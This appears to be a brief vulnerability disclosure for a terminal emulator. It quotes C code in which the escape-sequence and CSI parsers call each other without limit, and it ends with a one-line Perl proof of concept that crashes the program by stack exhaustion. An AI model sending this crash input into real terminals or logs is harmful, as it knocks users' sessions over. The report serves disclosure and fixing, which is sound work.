Minor DoS due to stack exhaustion.

File: command.c:
void
process_escape_seq(void)
{
...
  case '[':
      process_csi_seq();

...


/*{{{ process CSI (code sequence introducer) sequences `ESC[' */
/* PROTO */
void
process_csi_seq(void)
{
...
  ch = cmd_getc();
...
      } else if (ch == 033) {
          process_escape_seq(); // XXX GYN: nice... reaallly nice ;p

Ups, stack exhaustion.

PoC exploit:
perl -e 'print "\033["x100000'